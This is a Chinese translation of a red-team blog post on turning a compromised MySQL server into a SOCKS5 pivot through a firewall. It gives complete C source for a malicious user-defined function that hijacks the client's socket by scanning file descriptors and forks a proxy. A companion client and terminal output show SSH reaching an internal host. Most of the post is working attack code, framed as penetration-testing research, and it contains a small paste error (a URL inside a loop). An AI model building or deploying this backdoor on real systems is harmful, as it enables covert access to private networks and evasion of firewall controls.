在进行红队练习时,我喜欢使用UDF作为持久控制的方式,因为它很难被捕获,而且易于使用,可轻松弹出shell。而在最近,我们的红队就遇到这样一种情况:除了数据库服务,网络防火墙会拦截所有和内部机器的通信流量。此时,经典的UDF弹shell失效了,它无法回连我们。当然我们还是可以执行类似do_system("my shiny command")
的命令,不过这非常不方便。
既然防火墙只让我们使用MySQL服务,那就把MySQL服务变为代理,让它成为我们征服内网的支点!
声明:以下代码的质量实在不行,请理解代码中的思想并根据需要来实现功能,请勿直接使用(只是简单的PoC)。
用户定义函数(UDF)和MySQL
在MySQL中,用户可以自定义函数,借此扩展出丰富强大的功能。而这些新函数是通过MySQL加载共享对象实现的,你可以通过传统的查询语句select your_function('pwn');
来使用它们。
如果你记忆力足够好,可能还记得Raptor/do_system,它利用UDF以root权限执行恶意命令。我们可以使用这个代码作为框架来构建所需的UDF:
#include <stdio.h>
#include <stdlib.h>
typedef struct st_udf_args {
unsigned intarg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null;// 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
// Magic & Unicorns
return 1;
}
char do_carracha_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}
只需gcc -shared -o carracha.so carracha.c -fPIC
,再将文件移动到插件目录,加载进MySQL中(create function do_carracha returns integer soname 'carracha.so';
)。
寻找目标
如前所述,我们使用这个UDF重用连接,代理转发所有的TCP流量。如果我们知道连接所使用的文件描述符是什么,就可以轻松地重用它。不幸的是,我们不能直接知道连接使用的是什么文件描述符,所以我们需要暴力破解,直到找到正确的目标。这其实是一种非常古老的技术,在NetSec上曾有详细描述的文章。
首先,我们需要知道文件描述符的范围(以进行暴力破解)。为此,我们可以打开一个新的socket,并返回其文件描述符,这个数字将是破解的上限:
int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
...
int fd;
fd = socket(AF_UNIX, SOCK_STREAM, 0);
close(fd);
...
}
一旦知道爆破的范围,接着使用getpeername确定某个文件描述符是否和一个有效的socket关联,以及连接到socket的端点是否是我们自己。
...
for (i = 3; i < fd; i++) {
ret = getpeername(i, (struct sockaddr *)&client_addr, &addr_size);
if (ret == 0) {
char ip[INET6_ADDRSTRLEN];
if (client_addr.ss_family == AF_INET) {
struct sockaddr_in *s = (struct sockaddr_in *)&client_addr;
inet_ntop(AF_INET, &s->sin_addr, ip, sizeof(ip));
}
else if (client_addr.ss_family == AF_INET6) {
struct sockaddr_in6 *s = (struct sockaddr_in6 *)&client_addr;
inet_ntop(AF_INET6, &s->sin6_addr, ip, sizeof(ip));
}
if (strstr(ip, "X.X.X.X")) { // Hardcoded because it is a PoC. We should take this value from function argument (do_carracha('ip'))
write(i, "Now I am become Death\n", strlen("Now I am become Death\n") + 1); // Say hello to our client!
}
}
}
memset(&client_addr, 0, sizeof(client_addr));
}
...
经过几行代码,我们找到了那个神圣的入口!
将proxychains连接到MySQL服务
建立连接通信最简单方法是使用MySQL C API
。我们将使用这个教程的代码,建立稳定连接,然后直接打开socket执行查询(do_carracha('whatever')
):
void proxy_init(int sock){
...
write(sock, "\31\x00\x00\00\x03select do_carracha('a');", 30); // 执行问询 "select do_carracha('a')"
...
}
int main (int argc, char **argv) {
MYSQL *con = mysql_init(NULL);
if (con == NULL) {
fprintf(stderr, "%s\n", mysql_error(con));
exit(1);
}
if (mysql_real_connect(con, "Y.Y.Y.Y", "username", "password", NULL, 0, NULL, 0) == NULL) {
fprintf(stderr, "%s\n", mysql_error(con));
mysql_close(con);
exit(1);
}
proxy_init(3); // 3 is the socket (0 -> stdin, 1 -> stdout, 2 -> stderr)
exit(0);
}
我们客户端将打开一个本地端口,并转发proxychains和MySQL连接之间的消息,所以无论它从proxychains收到什么,都将发送到服务器,反之亦然。这主要通过多个select来完成。
此时,我们有一个客户端来进行MySQL服务和proxychains之间的通信,而UDF将重用客户端socket来发送/接收消息。剩下唯一要解决的问题就是在UDF中实现SOCKS5。
将SOCKS5添加到UDF
我不喜欢重复造轮子,所以打算利用这个SOCKS5实例。我将重用在mod_ringbuilder(一个Apache后门,如果你对这个感兴趣,可以查看XAMP堆栈(第三部分)中的后门:Apache模块)中使用的稍微改动过的版本。
首先,我们派生进程(这样就不会产生阻塞),在子进程中使用被捕获的socket作为参数调用proxy函数,然后在父进程中关闭socket。
...
void *worker(int fd) {
int inet_fd = -1;
int command = 0;
unsigned short int p = 0;
socks5_invitation(fd);
socks5_auth(fd);
command = socks5_command(fd);
if (command == IP) {
char *ip = NULL;
ip = socks5_ip_read(fd);
p = socks5_read_port(fd);
inet_fd = app_connect(IP, (void *)ip, ntohs(p), fd);
if (inet_fd == -1) {
exit(0);
}
socks5_ip_send_response(fd, ip, p);
free(ip);
}
app_socket_pipe(inet_fd, fd);
close(inet_fd);
exit(0);
}
void proxy(int socks) {
char a[1];
write(socks, "And this is my Child\n", strlen("And this is my Child\n") + 1);
read(socks, a, sizeof(a)); //
worker(socks);
return;
}
int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
...
if (strstr(ip, "x.x.x.x")) {
write(i, "Now I am become Death\n", strlen("Now I am become Death\n") + 1);
pid = fork();
if (pid == 0) {
proxy(i);
exit(0);
}
else {
close(i);
return 1;
}
}
...
}
...
PoC||GTFO
在这个PoC中使用了两个文件:
// SOCKS5 inside a UDF
// based on https://github.com/fgssfgss/socks_proxy
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <string.h>
#include <errno.h>
#include <sys/select.h>
#define BUFSIZE 65536
#define IPSIZE 4
#define ARRAY_SIZE(x) (sizeof(x) / sizeof(x[0]))
typedef struct st_udf_args {
unsigned intarg_count; // number of arguments
enum Item_result*arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null;// 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
charmaybe_null; // 1 if func can return NULL
unsigned intdecimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
enum socks {
RESERVED = 0x00,
VERSION = 0x05
};
enum socks_auth_methods {
NOAUTH = 0x00,
USERPASS = 0x02,
NOMETHOD = 0xff
};
enum socks_auth_userpass {
AUTH_OK = 0x00,
AUTH_VERSION = 0x01,
AUTH_FAIL = 0xff
};
enum socks_command {
CONNECT = 0x01
};
enum socks_command_type {
IP = 0x01,
DOMAIN = 0x03
};
enum socks_status {
OK = 0x00,
FAILED = 0x05
};
int readn(int fd, void *buf, int n)
{
int nread, left = n;
while (left > 0) {
if ((nread = read(fd, buf, left)) == 0) {
return 0;
} else if (nread != -1){
left -= nread;
buf += nread;
}
}
return n;
}
void socks5_invitation(int fd) {
char init[2];
readn(fd, (void *)init, ARRAY_SIZE(init));
if (init[0] != VERSION) {
exit(0);
}
}
void socks5_auth(int fd) {
char answer[2] = { VERSION, NOAUTH };
write(fd, (void *)answer, ARRAY_SIZE(answer));
}
int socks5_command(int fd)
{
char command[4];
readn(fd, (void *)command, ARRAY_SIZE(command));
return command[3];
}
char *socks5_ip_read(int fd)
{
char *ip = malloc(sizeof(char) * IPSIZE);
read(fd, (void* )ip, 2); //Buggy
readn(fd, (void *)ip, IPSIZE);
return ip;
}
unsigned short int socks5_read_port(int fd)
{
unsigned short int p;
readn(fd, (void *)&p, sizeof(p));
return p;
}
int app_connect(int type, void *buf, unsigned short int portnum, int orig) {
int new_fd = 0;
struct sockaddr_in remote;
char address[16];
memset(address,0, ARRAY_SIZE(address));
new_fd = socket(AF_INET, SOCK_STREAM,0);
if (type == IP) {
char *ip = NULL;
ip = buf;
snprintf(address, ARRAY_SIZE(address), "%hhu.%hhu.%hhu.%hhu",ip[0], ip[1], ip[2], ip[3]);
memset(&remote, 0, sizeof(remote));
remote.sin_family = AF_INET;
remote.sin_addr.s_addr = inet_addr(address);
remote.sin_port = htons(portnum);
if (connect(new_fd, (struct sockaddr *)&remote, sizeof(remote)) < 0) {
return -1;
}
return new_fd;
}
}
void socks5_ip_send_response(int fd, char *ip, unsigned short int port)
{
char response[4] = { VERSION, OK, RESERVED, IP };
write(fd, (void *)response, ARRAY_SIZE(response));
write(fd, (void *)ip, IPSIZE);
write(fd, (void *)&port, sizeof(port));
}
void app_socket_pipe(int fd0, int fd1)
{
int maxfd, ret;
fd_set rd_set;
size_t nread;
char buffer_r[BUFSIZE];
maxfd = (fd0 > fd1) ? fd0 : fd1;
while (1) {
FD_ZERO(&rd_set);
FD_SET(fd0, &rd_set);
FD_SET(fd1, &rd_set);
ret = select(maxfd + 1, &rd_set, NULL, NULL, NULL);
if (ret < 0 && errno == EINTR) {
continue;
}
if (FD_ISSET(fd0, &rd_set)) {
nread = recv(fd0, buffer_r, BUFSIZE, 0);
if (nread <= 0)
break;
send(fd1, (const void *)buffer_r, nread, 0);
}
if (FD_ISSET(fd1, &rd_set)) {
nread = recv(fd1, buffer_r, BUFSIZE, 0);
if (nread <= 0)
break;
send(fd0, (const void *)buffer_r, nread, 0);
}
}
}
void *worker(int fd) {
int inet_fd = -1;
int command = 0;
unsigned short int p = 0;
socks5_invitation(fd);
socks5_auth(fd);
command = socks5_command(fd);
if (command == IP) {
char *ip = NULL;
ip = socks5_ip_read(fd);
p = socks5_read_port(fd);
inet_fd = app_connect(IP, (void *)ip, ntohs(p), fd);
if (inet_fd == -1) {
exit(0);
}
socks5_ip_send_response(fd, ip, p);
free(ip);
}
app_socket_pipe(inet_fd, fd);
close(inet_fd);
exit(0);
}
void proxy(int socks) {
char a[1];
write(socks, "And this is my Child\n", strlen("And this is my Child\n") + 1);
read(socks, a, sizeof(a)); //
worker(socks);
return;
}
int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
int fd, i, ret, pid;
struct sockaddr_storage client_addr;
socklen_t addr_size = sizeof(client_addr);
fd = socket(AF_UNIX, SOCK_STREAM, 0);
close(fd);
for (i = 3; i < fd; i++) {
ret = getpeername(i, (struct sockaddr *)&client_addr, &addr_size);
if (ret == 0) {
char ip[INET6_ADDRSTRLEN];
if (client_addr.ss_family == AF_INET) {
struct sockaddr_in *s = (struct sockaddr_in *)&client_addr;
inet_ntop(AF_INET, &s->sin_addr, ip, sizeof(ip));
}
else if (client_addr.ss_family == AF_INET6) {
struct sockaddr_in6 *s = (struct sockaddr_in6 *)&client_addr;
inet_ntop(AF_INET6, &s->sin6_addr, ip, sizeof(ip));
}
if (strstr(ip, "X.X.X.X")) {
write(i, "Now I am become Death\n", strlen("Now I am become Death\n") + 1);
pid = fork();
if (pid == 0) {
proxy(i);
exit(0);
}
else {
close(i);
return 1;
}
}
}
memset(&client_addr, 0, sizeof(client_addr));
}
return fd;
}
char do_carracha_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}
第二个文件和连接通信相关。
// PoC to communicate proxychains and SOCKS5
#include <my_global.h>
#include <mysql.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <fcntl.h>
void proxy_init(int sock){
fd_set readset;
struct timeval tv;
int i, retval, nread, localfd, clientlen, sr, maxfd, select_fd[2];
char test[1024];
struct sockaddr_in server, client;
fprintf(stderr, "[ SERVER BANNER ]\n\n");
write(sock, "\31\x00\x00\00\x03select do_carracha('a');", 30);
select_fd[0] = sock;
while(1) {https://nets.ec/Shellcode/Socket-reuse
FD_ZERO(&readset);
FD_SET(select_fd[0], &readset);
tv.tv_sec = 1;
tv.tv_usec = 0;
retval = select(select_fd[0] + 1, &readset, NULL, NULL, &tv);
if (retval) {
nread = read(select_fd[0], test, sizeof(test));
fprintf(stderr, "%s", test);
if (strstr(test, "Child")) {
break;
}
}
}
if ((localfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
fprintf(stderr, "\nERROR: could not open new socket!\n");
exit(1);
}
server.sin_family = AF_INET;
server.sin_port = htons(1337);
server.sin_addr.s_addr = INADDR_ANY;
if (bind(localfd, (struct sockaddr *)&server, sizeof(server)) == -1) {
fprintf(stderr, "\nERROR: could not bind!\n");
exit(1);
}
if (listen(localfd,5) == -1) {
fprintf(stderr, "\nERROR: could not listen!\n");
exit(1);
}
clientlen = sizeof(client);
fprintf(stderr, "\n[ RUN YOUR PROXYCHAINS NOW ]\n");
if ((select_fd[1] = accept(localfd, (struct sockaddr *)&client, &clientlen)) == -1) {
fprintf(stderr, "\nERROR: could not accept!\n");
exit(1);
}
while(1) {
tv.tv_sec = 1;
tv.tv_usec = 0;
FD_ZERO(&readset);
maxfd = (select_fd[0] > select_fd[1])? select_fd[0] : select_fd[1];
for (i = 0; i < 2; i++) {
FD_SET(select_fd[i], &readset);
}
sr = select(maxfd + 1, &readset, NULL, NULL, &tv);
if (sr == -1) {
fprintf(stderr, "ERROR: Select failed, something went reaaaally wrong!\n");
exit(1);
}
if (sr) {
for (i = 0; i < 2; i++) {
if(FD_ISSET(select_fd[i], &readset)) {
memset(test, 0, sizeof(test));
if (i == 0) {
nread = read(select_fd[0], test, sizeof(test));
fprintf(stderr, "-> %d packets from server\n", nread);
write(select_fd[1], test, nread);
}
else if (i == 1) {
nread = read(select_fd[1], test, sizeof(test));
if (nread <= 0){
fprintf(stderr, "ERROR: could not read from proxychains!\n");
exit(1);
}
fprintf(stderr, "<- %d packets from proxychains\n", nread);
write(select_fd[0], test, nread);
}
}
}
}
}
}
int main (int argc, char **argv) {
MYSQL *con = mysql_init(NULL);
if (con == NULL) {
fprintf(stderr, "%s\n", mysql_error(con));
exit(1);
}
if (mysql_real_connect(con, "Y.Y.Y.Y", "username", "password", NULL, 0, NULL, 0) == NULL) {
fprintf(stderr, "%s\n", mysql_error(con));
mysql_close(con);
exit(1);
}
proxy_init(3);
exit(0);
}
编译并运行:
Terminal 1
root@insularaptor:/tmp# ./MyShellQL
[ SERVER BANNER ]
Now I am become Death
And this is my Child
[ RUN YOUR PROXYCHAINS NOW ]
Terminal 2
root@insularaptor:/tmp# proxychains ssh mothra@192.168.245.197
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.245.197:22-<><>-OK
mothra@192.168.245.197's password:
Linux arcadia 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
indi vidual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Dec 7 19:22:36 2019 from 127.0.0.1
mothra@arcadia:~|⇒ exit
Connection to 192.168.245.197 closed.
是的,我们刚刚把MySQL服务改造成了ssh代理!多么隐蔽的通信方式!
最后
UDF在渗透测试中一直是一款强力工具。希望这篇文章对你在信息安全方面的学习起到帮助,或者对你来说足够有趣。如果你发现了文章错误,请及时与我联系@TheXC3LL。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3384.html
来源:https://x-c3ll.github.io/posts/Pivoting-MySQL-Proxy/